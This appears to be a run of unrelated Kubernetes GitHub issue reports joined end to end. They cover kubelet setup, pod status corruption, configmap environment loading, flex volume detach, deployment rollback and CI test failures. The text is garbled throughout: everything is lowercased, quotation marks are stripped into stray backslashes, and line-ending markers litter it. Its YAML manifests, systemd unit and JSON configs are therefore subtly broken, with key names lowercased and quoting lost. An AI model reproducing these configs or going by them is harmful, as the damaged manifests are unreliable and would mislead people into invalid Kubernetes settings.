\r   anything else we need to know?  :\r kubelet.service file\r     xml\r  unit \r description=kubernetes kubelet server\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=docker.service\r requires=docker.service\r \r  service \r workingdirectory=/var/lib/kubelet\r environmentfile=-/etc/kubernetes/config\r environmentfile=-/etc/kubernetes/kubelet\r execstart=/usr/local/bin/kubelet \\\r             $kube_logtostderr \\\r             $kube_log_level \\\r             $kubelet_api_server \\\r             $kubelet_address \\\r             $kubelet_port \\\r             $kubelet_hostname \\\r             $kube_allow_priv \\\r             $kubelet_pod_infra_container \\\r             $kubelet_args\r restart=on-failure\r \r  install \r wantedby=multi-user.target\r    \r kubelet.service config file\r     bash\r    \r    kubernetes kubelet  minion  config\r  \r    the address for the info server to serve on  set to 0.0.0.0 or \ \  for all interfaces \r kubelet_address=\ --address=192.168.8.67\ \r  \r    the port for the info server to serve on\r  kubelet_port=\ --port=10250\ \r  \r    you may leave this blank to use the actual hostname\r kubelet_hostname=\ --hostname-override=192.168.8.67\ \r  \r    location of the api-server\r kubelet_api_server=\ --api-servers=http://192.168.8.66:8080\ \r  \r    pod infrastructure container\r  kubelet_pod_infra_container=\ --pod-infra-container-image=\ \r  \r    add your own!\r kubelet_args=\ --cluster-dns=10.254.0.2 --experimental-bootstrap-kubeconfig=/etc/kubernetes/bootstrap.kubeconfig --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --require-kubeconfig --cert-dir=/etc/kubernetes/ssl --cluster-domain=cluster.local --hairpin-mode promiscuous-bridge --serialize-image-pulls=false\ \r    \r \r   environment  :\r - kubernetes version: 1.8.0\r - cloud provider or hardware configuration  : 1g 20g\r - os  e.g. from /etc/os-release :centos7 1708\r - kernel  e.g.  uname -a  : linux test-node1 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: binnary\r - others:\r

xref https://github.com/openshift/origin/issues/17595\r \r i haven't found a trivial reproducer for this yet.\r \r ~~i've pasted the node log entries of a single pod and its containers that exhibit this issue:\r https://paste.fedoraproject.org/paste/dmlfgbbi~wiezzfbiav-zw~~\r \r if you search for \ updated successfully\ , you can see the transition from running -> failed -> succeeded.\r \r i've tracked it as far as this\r    i0110 14:05:35.238295   25503 generic.go:147  genericpleg: 4602f268-f60f-11e7-a2fa-0e70c83f826c/2ba70598ffa93e42963715706bc71c1e45bfc15078a1050dfb86b1cb3889bb14: exited -> non-existent\r i0110 14:05:35.737387   25503 kuberuntime_manager.go:853  getsandboxidbypoduid got sandbox ids  \ 98289fc433f806147102f804d9c74461bfa32f7753b9701b0b98448c9cee6636\   for pod \ deployment-simple-1-deploy_extended-test-cli-deployment-bwrns-v9htn 4602f268-f60f-11e7-a2fa-0e70c83f826c \ \r i0110 14:05:35.768105   25503 generic.go:380  pleg: write status for deployment-simple-1-deploy/extended-test-cli-deployment-bwrns-v9htn: &container.podstatus{id:\ 4602f268-f60f-11e7-a2fa-0e70c83f826c\ , name:\ deployment-simple-1-deploy\ , namespace:\ extended-test-cli-deployment-bwrns-v9htn\ , ip:\ \ , containerstatuses:   container.containerstatus{}, sandboxstatuses:   runtime.podsandboxstatus{  runtime.podsandboxstatus  0xc4215960f0 }}  err: <nil> \r i0110 14:05:35.768606   25503 kubelet_pods.go:1349  generating status for \ deployment-simple-1-deploy_extended-test-cli-deployment-bwrns-v9htn 4602f268-f60f-11e7-a2fa-0e70c83f826c \ \r i0110 14:05:35.770208   25503 status_manager.go:367  status manager: adding pod: \ 4602f268-f60f-11e7-a2fa-0e70c83f826c\ , with status:  '\\x06', {succeeded  {initialized true 0001-01-01 00:00:00 +0000 utc 2018-01-10 14:05:11 +0000 utc podcompleted } {ready false 0001-01-01 00:00:00 +0000 utc 2018-01-10 14:05:34 +0000 utc podcompleted } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-01-10 14:05:11 +0000 utc  }    172.18.7.132 10.128.0.86 2018-01-10 14:05:11 +0000 utc     {deployment {nil nil &containerstateterminated{exitcode:0,signal:0,reason:,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:0001-01-01 00:00:00 +0000 utc,containerid:,}} {nil nil nil} false 0 openshift/origin-deployer:db2450c docker://sha256:44bccf94b5a66881265a32c508f8a162f371196480af7912cbac923418a2b02f docker://2ba70598ffa93e42963715706bc71c1e45bfc15078a1050dfb86b1cb3889bb14}  besteffort}  to podstatuschannel\r i0110 14:05:35.770317   25503 status_manager.go:146  status manager: syncing pod: \ 4602f268-f60f-11e7-a2fa-0e70c83f826c\ , with status:  6, {succeeded  {initialized true 0001-01-01 00:00:00 +0000 utc 2018-01-10 14:05:11 +0000 utc podcompleted } {ready false 0001-01-01 00:00:00 +0000 utc 2018-01-10 14:05:34 +0000 utc podcompleted } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-01-10 14:05:11 +0000 utc  }    172.18.7.132 10.128.0.86 2018-01-10 14:05:11 +0000 utc     {deployment {nil nil &containerstateterminated{exitcode:0,signal:0,reason:,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:0001-01-01 00:00:00 +0000 utc,containerid:,}} {nil nil nil} false 0 openshift/origin-deployer:db2450c docker://sha256:44bccf94b5a66881265a32c508f8a162f371196480af7912cbac923418a2b02f docker://2ba70598ffa93e42963715706bc71c1e45bfc15078a1050dfb86b1cb3889bb14}  besteffort}  from podstatuschannel\r i0110 14:05:35.784935   25503 status_manager.go:479  status for pod \ deployment-simple-1-deploy_extended-test-cli-deployment-bwrns-v9htn 4602f268-f60f-11e7-a2fa-0e70c83f826c \  updated successfully:  6, {phase:succeeded conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-01-10 14:05:11 +0000 utc reason:podcompleted message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-01-10 14:05:34 +0000 utc reason:podcompleted message:} {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-01-10 14:05:11 +0000 utc reason: message:}  message: reason: hostip:172.18.7.132 podip:10.128.0.86 starttime:2018-01-10 14:05:11 +0000 utc initcontainerstatuses:   containerstatuses: {name:deployment state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:0001-01-01 00:00:00 +0000 utc,containerid:,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:openshift/origin-deployer:db2450c imageid:docker://sha256:44bccf94b5a66881265a32c508f8a162f371196480af7912cbac923418a2b02f containerid:docker://2ba70598ffa93e42963715706bc71c1e45bfc15078a1050dfb86b1cb3889bb14}  qosclass:besteffort} \r    \r \r note the  containerstatuses:   container.containerstatus{}  is the pod status returned by  getpodstatus    in   g  genericpleg  updatecache . somehow  generateapipodstatus    corrupts this into a pod status with  succeeded  phase.\r \r this is part of an overall faulty assumption in the code we can rebuild the pod status, along with all the container status, from scratch at any time as long as the pod sandbox exists.  we need to be individually patching containerstatuses, as to not corrupt the status of containers that no longer exist in the runtime.\r \r @dashpole @derekwaynecarr @kargakis @tnozicka \r \r 

 \r   what happened  :\r \r envfrom: configmapref not load the enviroment variables. \r \r this is my deployment yaml:\r    \r apiversion: extensions/v1\r kind: deployment\r metadata:\r   name: test\r   namespace: default\r   labels:\r     app: test\r     version: latest\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: test\r         version: latest\r       name: test\r     spec:\r       containers:\r         - name: test\r           image: ubuntu\r           command:   \ sleep\ , \ 50000\   \r           envfrom:\r           - configmapref:\r               name: endpoints\r           - configmapref:\r               name: nameofconfigmap-properties\r    \r \r when i exec in pod:  sh -c env  not list me the variables from configmap\r \r   what you expected to happen  :\r the config map data in enviroment variables. \r \r   how to reproduce it  as minimally and precisely as possible   :\r simple use the yaml attached\r \r   anything else we need to know?  :\r   very interessing!!!!!!  \r if i use a image:  busybox  work fine, if i use  ubuntu ,  alpine  or other not work\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.8-gke.0\ , gitcommit:\ 6e5b33a290a99c067003632e0fd6be0ead48b233\ , gittreestate:\ clean\ , builddate:\ 2018-02-16t18:26:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: kubernetes engine  google cloud platform \r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r sites may have reserved nodes such as masters where you do not want particular users to land workload on. you should be able to specify what nodeselectors are allowed, and what tolerations are allowed.

being able to  docker run --net=host gcr.io/google_containers/kubectl get pods  would be nice.

pod volume metrics are calculate and cached in the background and retrieved from the cache at request time.  we should be able to differentiate \ stats for the volume have not yet been cached\  from the \ pod has no volumes\  and from \ error calculating stats\

i don't see any existing issues filed for this.  allow the user to instruct kubernetes,  based on data from liveness/readiness probes  or failures to start new pods at all , to automatically undo a rollout, not just pause it. this could even have a configurable maxfailures knob to specify how many pods in \ failed after upgrade\  state to allow before rolling back. similar for pending pods.

@kubernetes/deployment @bgrant0607  deployments are going to be used most often in the context of a cd pipeline.  how do people programmatically recover from bad deployments?  rolling update used to return a non-zero exit code, and it was a simple matter of wrapping it in a try-catch and calling  —rollback  to undo an unsuccessful deployment.  the new deployment api has no such functionality. it applies the new configuration, and fails silently if the new deploy is unsuccessful:   deployment \ blah\  is configured   for the record i'm using  kubectl apply -f path_to_deployment . is that where i'm going wrong?

update reapers, scalers, and rollouts to use the  watch.until  and  retryonconflict  methods to improve responsiveness and readability.  see https://github.com/kubernetes/kubernetes/pull/30383 for an example.  it looks like we have many cli polling functions that could be converted to a watch as noted here: https://github.com/kubernetes/kubernetes/pull/30383 discussion_r74441980 .

where the influence affect other components like scheduler or controller manager is monitored.\r \r cc: @fgrzadkowski @piosz

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-1.5-upgrade-cluster/14/  multiple broken tests:  failed: deferred teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  35658   failed: dumpclusterlogs {e2e.go}      terminate testing after 15m after 10h0m0s timeout during dump cluster logs     issues about this test specifically:  33722  37578  37974  38206   failed: teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  34118  34795  37058  38207   failed: diffresources {e2e.go}      error: 18 leaked resources +name                                     machine_type   preemptible  creation_timestamp +gke-bootstrap-e2e-default-pool-bc271fe0  n1-standard-2               2016-12-06t22:50:41.020-08:00 +name                                         location       scope  network        managed  instances +gke-bootstrap-e2e-default-pool-623346cb-grp  us-central1-a  zone   bootstrap-e2e  yes      3 +name                                          zone           machine_type   preemptible  internal_ip  external_ip     status +gke-bootstrap-e2e-default-pool-623346cb-ojx2  us-central1-a  n1-standard-2               10.240.0.3   104.154.206.67  running +gke-bootstrap-e2e-default-pool-623346cb-uqno  us-central1-a  n1-standard-2               10.240.0.4   104.154.89.153  running +gke-bootstrap-e2e-default-pool-623346cb-uyxo  us-central1-a  n1-standard-2               10.240.0.5   104.198.58.68   running +name                                          zone           size_gb  type         status +gke-bootstrap-e2e-default-pool-623346cb-ojx2  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-623346cb-uqno  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-623346cb-uyxo  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-674da7b9-19c28806-bc4b-11e6-ab6c-42010af00032  bootstrap-e2e  10.96.4.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-623346cb-uqno  1000 +gke-bootstrap-e2e-674da7b9-5e12204d-bc7a-11e6-8952-42010af00032  bootstrap-e2e  10.96.1.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-623346cb-uyxo  1000 +gke-bootstrap-e2e-674da7b9-8acc9e47-bc71-11e6-8952-42010af00032  bootstrap-e2e  10.96.0.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-623346cb-ojx2  1000 +gke-bootstrap-e2e-674da7b9-all           bootstrap-e2e  10.96.0.0/14       tcp,udp,icmp,esp,ah,sctp +gke-bootstrap-e2e-674da7b9-ssh           bootstrap-e2e  104.154.93.177/32  tcp:22                                  gke-bootstrap-e2e-674da7b9-node +gke-bootstrap-e2e-674da7b9-vms           bootstrap-e2e  10.240.0.0/16      tcp:1-65535,udp:1-65535,icmp            gke-bootstrap-e2e-674da7b9-node     issues about this test specifically:  33373  33416  34060

the deployment upgrade tests are failing the upgrade ci tests. here is a sample:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-latest-upgrade-master/5/\r \r it might not be a deployment issues, but an upgrade issue.

we found a version skew issue with deployment reaper in  43159, but it was only incidentally inferred while investigating a  failure to detect created replicasets  https://github.com/kubernetes/kubernetes/issues/42738 issuecomment-285158244 .\r \r we should create an explicit version skew test that would have caught such reaper issues automatically.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r maybe a feature, most likely a dupe  found a few similar reading issues, some were closed , but since i am on rc i better mention it...\r \r i upgrade from 1.7.0 beta.2 to rc.1 on my arm masternode by:\r  + editing  /etc/kubernetes/manifests/kube-apiserver.yaml\r  + observing apiserver disappearing from process list\r  + observing apiserver never coming back;\r  + i then manually pull the docker images from manifest and restart kubelet to solve this\r \r   what you expected to happen  :\r \r  + kubelet should ensure whatever is in /etc/kubernets/manifests is properly running and restart as needed without manual interference on upgrade.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  + edit manifest\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-beta.2\ , gitcommit:\ ceab7f7a6753c20d3be75463b17402fdcea856ba\ , gittreestate:\ clean\ , builddate:\ 2017-06-15t17:12:53z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-rc.1\ , gitcommit:\ 6b9ded1649cfb512d4e88570c738aca9f8265639\ , gittreestate:\ clean\ , builddate:\ 2017-06-24t05:30:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r \r \r - cloud provider or hardware configuration  :\r \r self-hosted / scaleway\r \r - os  e.g. from /etc/os-release :\r \r   cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r \r uname  -a\r linux 8bc81f5a-d92a-428f-b71c-0f31b3ce958f.pub.cloud.scaleway.com 4.9.20-std-1  1 smp wed apr 5 15:38:34 utc 2017 armv7l armv7l armv7l gnu/linux\r \r \r - install tools:\r \r  kubeadm during alphas...\r \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r /area controller-manager\r \r   what happened  :\r i use fabric kubernetes client v2.2.13 to delete deployment, but sometimes leaves orphaned pod.\r \r   what you expected to happen  :\r there should be no orphaned pod after a deployment is deleted\r \r   how to reproduce it  as minimally and precisely as possible   :\r just use fabric kubernetes client to delete on deployment. sometimes this issue can be reproduced.\r \r   anything else we need to know?  :\r here is the log of controller manager when this issue is reproduced:\r  podleft_bug_controller_manager.log  https://github.com/kubernetes/kubernetes/files/1410345/podleft_bug_controller_manager.log \r \r it seems like that deployment controller manager did not watch the event that deployment's replica number change to 0.\r so deployment controller manager scales up the rs after the rs is scaled down.\r i think there is bug in the logic of sync the deployment.\r could someone help see this issue? tks.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.4\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :centos linux 7  core \r - kernel  e.g.  uname -a  : linux hh-web-noah-api-s0002 3.10.0-229.el7.x86_64  1 smp fri mar 6 11:36:42 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

this would make debugging a little easier:  when we print a stack trace into the log, can we annotate it to show which  if any  http request we were handling?\r \r cc @lavalamp \r  /area apiserver\r /area logging\r  \r  also, we could use an area/debugging label.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :  \r  \r   what happened  :  \r the getvolumename callout doesn't seem to be working / honored for flex volume drivers.  i can see my flex volume driver being called repeatedly with the getvolumename callout.  from my logs, here is the input string  the k8s object name of the claim is mock-flex-data :\r \r    \r 2018-02-15 23:42:26,160:debug:main:op=getvolumename details= '{\ kubernetes.io/fstype\ :\ ext3\ ,\ kubernetes.io/pvorvolumename\ :\ mock-flex-data\ ,\ kubernetes.io/readwrite\ :\ rw\ ,\ vgname\ :\ vg1\ }' \r    \r \r my flex volume driver responds with a json encoded string  { \ status\ : \ success\ , \ volumename\ : \ vg1\  } .  later on during the detach operation, the volume name that gets passed as an argument to my detach callout is \ mock-flex-data\   the k8s object name  rather than \ vg1\   the volume name that i returned from getvolumename callout .  \r \r looking at the function getvolumename in pkg/volume/flexvolume/plugin.go:  \r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/flexvolume/plugin.go l121\r \r it calls the getvolumename callout for the plugin, gets the  proper  result  which is the backend storage provider object name  and then uses _ to  intentionally?  drop it on the floor.  then it calls the default callout and uses that result instead  which ends up giving the k8s object name of the pvc .  the symptom is that unless my pvc object name matches the backend storage provider object name the detach operation fails.  \r \r   what you expected to happen  :  \r the syntax for the detach callout is  <flexvol driver name> detach <volume name> <node name/ipaddr> .  i expected the volume name in the detach input argument to match my output from the getvolumename callout.  otherwise i don't understand the purpose of calling my getvolumename callout at all  let alone repeatedly .  \r \r   how to reproduce it  as minimally and precisely as possible   :  \r create a dummy/mock flex volume driver similar to this one:  \r https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/flexvolume/lvm\r \r it needs to supports all callouts for  --enable-controller-attach-detach  flag  ie init, attach, detach, mountdevice, unmountdevice, isattached, waitforattach, and getvolumename .  install the flex driver on the node where my k8s sandbox environment exists.  run it with  hack/local-up-cluster.sh -o .  create the following pod to excercise the dummy flex volume driver:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: mock-flex-demo\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     volumemounts:\r     - name: mock-flex-data\r       mountpath: /data\r     ports:\r     - containerport: 80\r   volumes:\r   - name: mock-flex-data\r     flexvolume:\r       driver: \ mock.com/mockflexdriver\ \r       fstype: \ ext3\ \r       options:\r         vgname: \ vg1\ \r     \r \r   anything else we need to know?  :  \r if you go in and replace _ with an actual variable here  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/flexvolume/plugin.go l121  and use glog to log it then you can see the result of the callout is successfully received by k8s but then not used.  \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.3-dirty\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ dirty\ , builddate:\ 2018-02-09t15:37:55z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ linux/ppc64le\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.3-dirty\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ dirty\ , builddate:\ 2018-02-16t15:23:41z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ linux/ppc64le\ }\r    \r - cloud provider or hardware configuration: no cloud provider needed.  this is just local hardware  ie simulating a private cloud .  ibm power  ppc64le  hardware.  \r - os  e.g. from /etc/os-release :  ubuntu 16.04.3 lts \r - kernel  e.g.  uname -a  :  4.4.0-59-generic \r - install tools:\r - others:\r

\r $ hyperkube apiserver --help 2>&1 | grep -i \ log level\ \r $ hyperkube controller-manager --help 2>&1 | grep -i \ log level\ \r $ hyperkube cloud-controller-manager --help 2>&1 | grep -i \ log level\ \r $ hyperkube kubelet --help 2>&1 | grep -i \ log level\ \r   -v, --v level   log level for v logs\r $ hyperkube proxy --help 2>&1 | grep -i \ log level\ \r   -v, --v level   log level for v logs\r $ hyperkube scheduler --help 2>&1 | grep -i \ log level\ \r   -v, --v level   log level for v logs\r    \r \r same problem with the non hyperkube binaries too:\r    \r $ ./kube-apiserver --help 2>&1 | grep -i \ log level\ \r $ ./kube-controller-manager --help 2>&1 | grep -i \ log level\ \r $ ./cloud-controller-manager --help 2>&1 | grep -i \ log level\ \r $ ./kubelet --help 2>&1 | grep -i \ log level\ \r   -v, --v level   log level for v logs\r $ ./kube-proxy --help 2>&1 | grep -i \ log level\ \r   -v, --v level   log level for v logs\r $ ./kube-scheduler --help 2>&1 | grep -i \ log level\ \r   -v, --v level   log level for v logs\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r updated kubernetes to v1.11.x on my k8s cluster running on azure vmss and now, kubelet won't start reporting error:\r failed to run kubelet: could not init cloud provider \ azure\ : no credentials provided for aad application.\r i have the /etc/kubernetes/cloud_config  where it was working fine in k8s v1.10.8 and it is in this format:\r \r > {\r     \ tenantid\ : \ xxxx-xxx-xxx-xxx-xxx\ ,\r     \ aadclientid\ : \ xxxx-xxx-xxx-xxx-xxx\ ,\r     \ aadclientsecret\ : \ xxxx-xxx-xxx-xxx-xxx\ ,\r     \ subscriptionid\ : \ xxxx-xxx-xxx-xxx-xxx\ ,\r     \ resourcegroup\ : \ rg-xxx-lab-xxx-c1\ ,\r     \ location\ : \ eastus\ ,\r     \ subnetname\ : \ /subscriptions/xxxxx/resourcegroups/sp-xxxx-001eastusxxx/providers/microsoft.network/virtualnetworks/sp-xxxx-001eastusxxxx/subnets/sn_xx.xx.xx.0_24\ ,\r     \ securitygroupname\ : false,\r     \ vnetname\ : \ sp-xxxxx-001eastusxxxx\ ,\r     \ vnetresourcegroup\ : \ sp-xxxxxxeastusxxxx\ ,\r     \ routetablename\ : false,\r     \ cloudproviderbackoff\ : false,\r     \ usemanagedidentityextension\ : false,\r     \ useinstancemetadata\ : true\r     \ vmtype\ : \ vmss\ \r  }\r \r   what you expected to happen  :\r kubelet should start without a problem.\r   how to reproduce it  as minimally and precisely as possible   :\r upgrade kubernetes to v1.11.x on a k8s cluster running on azure vmss and restart kubelet.\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.4\r - cloud provider or hardware configuration: azure vmss\r - os  e.g. from /etc/os-release : ubuntu- 16.04.5 lts\r - kernel  e.g.  uname -a  :linux cpeasb49c000000 4.15.0-1028-azure  29~16.04.1-ubuntu smp thu oct 18 21:21:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r   /area kubelet

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r i want to create hpa instances via  kubectl autoscale  for our custom controllers which implement the scale subresource, so that i can run\r \r    bash\r $ kubectl autoscale vmirs vmi-replicaset-cirros --min=2 --max=5\r    \r \r   why is this needed  :\r \r we are implementing the scale subresource for our crds and i can create hpa instances for our controller instances via the declarative workflow   kubectl create  . however, if i try to create it via  kubectl autoscale , i get:\r \r    bash\r $ kubectl autoscale vmirs vmi-replicaset-cirros --min=2 --max=5\r error: no kind \ virtualmachineinstancereplicaset\  is registered for version \ kubevirt.io/v1alpha2\ \r    \r it will make hpa usage for custom controllers more accessible for the imperative workflows.

what happened  :\r \r api compatibility test depends on the presence of binary  protoc  in $path, but our presubmit ci job seems to be missing that: https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/77327/pull-kubernetes-bazel-test/1139080812092723202/build-log.txt\r \r    \r compatibility.go:298: proto differs\r compatibility.go:300: exec: \ protoc\ : executable file not found in $path\r compatibility.go:300: exec: \ protoc\ : executable file not found in $path\r    \r \r https://github.com/kubernetes/kubernetes/blob/4f29960cb2058c4f556bf1e5ba49c9a29a501e70/staging/src/k8s.io/apimachinery/pkg/api/apitesting/roundtrip/compatibility.go l508\r \r   what you expected to happen  :\r \r 1. presubmit ci job should be self-contained to either install dependencies in the air, or have it pre-installed.\r 1. furthermore, running  bazel test //staging/src/k8s.io/api:go_default_test  on a machine without  protoc  also fails. dependencies should be transparent to users as well.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this issue can be triggered by a pr which contains api changes.\r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

we have kubectl explain, but we should make the online docs more discoverable from kubectl docs, also.

to continue https://github.com/kubernetes/kubernetes/issues/27004 issuecomment-225643876   recently, we have found a race in informer in https://github.com/kubernetes/kubernetes/issues/27004. although the p0 issue has been fixed as quickly as possible, we agreed that we should redesign it properly after 1.3 release: https://github.com/kubernetes/kubernetes/issues/27004 issuecomment-225969446, https://github.com/kubernetes/kubernetes/pull/27341 discussion_r67003455, https://github.com/kubernetes/kubernetes/pull/27341 issuecomment-225921010.  the problem of current informer design is that it couples queue and store. this has caused some races. wojtek has done a great job fixing it for 1.3 release. i am reluctantly pointing out that it's not the ideal solution. first, it couples the queue and store with complicated locking; second, it's really hard to maintain if someone wants to change the code in the future. ! f3f57e10-314b-11e6-9814-32c555988dc6  https://cloud.githubusercontent.com/assets/920884/16105411/0f38225a-333f-11e6-8e3e-4c9f964da6a1.png   one redesign choice we made is serialize all updates on store inside controller: ! b3741b74-3170-11e6-8020-eadab862ba10  https://cloud.githubusercontent.com/assets/920884/16101359/ba072ce2-3319-11e6-917a-6a48e94cc3bf.png  now the queue wouldn't talk to store anymore. the diff comparison on relisting, iterating items in resync will be serialized along with add/update/delete operations inside controller. controller is the only one that mades changes upon store. with this redesign, we should be more confident to guarantee race-free in informer, and separate concerns of sub-components. this will improve maintainability and ease mindset of future maintainer, contributor.  finally, i want to give a big shoutout for wojtek for the quick fix.

for example, it does not delete deployments or replica sets.  /cc @kubernetes/rh-cluster-infra @kubernetes/kubectl @smarterclayton

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow-release-1.4/461/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for node-service: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:149 dec  2 04:46:51.261: failed to find expected endpoints: tries 0 command curl -q -s --connect-timeout 1 http://10.0.233.210:80/hostname retrieved map netserver-1:{} netserver-0:{} netserver-2:{} :{}  expected map netserver-1:{} netserver-2:{} netserver-0:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:228       previous issues for this test:  32684  36278

rollback to etcd 2.3.7 is working well, but we have one issue, which is that the  resourceversion  numbers go backward.  this could really confuse clients, at best.  it would be great if there was a way to set a minimum or starting  modified-index  so that at least the numbers do not go backward.  the numbers don't have to match.\r \r    diff\r --- /var/log/kubectl-nodes-start-2.2.1-etcd2.log\r +++ /var/log/kubectl-nodes-rollback-2.3.7-etcd2.log\r @@ -15,7 +15,7 @@\r        kubernetes.io/hostname: e2e-master\r      name: e2e-master\r      namespace: \ \ \r -    resourceversion: \ 25199\ \r +    resourceversion: \ 70\ \r      selflink: /api/v1/nodese2e-master\r      uid: f763b133-a1f8-11e6-951a-42010af00002\r    spec:\r @@ -141,7 +141,7 @@\r        kubernetes.io/hostname: e2e-minion-group-j5v8\r      name: e2e-minion-group-j5v8\r      namespace: \ \ \r -    resourceversion: \ 25207\ \r +    resourceversion: \ 72\ \r      selflink: /api/v1/nodese2e-minion-group-j5v8\r      uid: f8d97bfa-a1f8-11e6-951a-42010af00002\r    spec:\r @@ -365,7 +365,7 @@\r        kubernetes.io/hostname: e2e-minion-group-sig0\r      name: e2e-minion-group-sig0\r      namespace: \ \ \r -    resourceversion: \ 25210\ \r +    resourceversion: \ 74\ \r      selflink: /api/v1/nodese2e-minion-group-sig0\r      uid: f5bf2f2f-a1f8-11e6-951a-42010af00002\r    spec:\r fail start/nodes != rollback/nodes\r    \r \r @hongchaodeng @xiang90 @wojtek-t

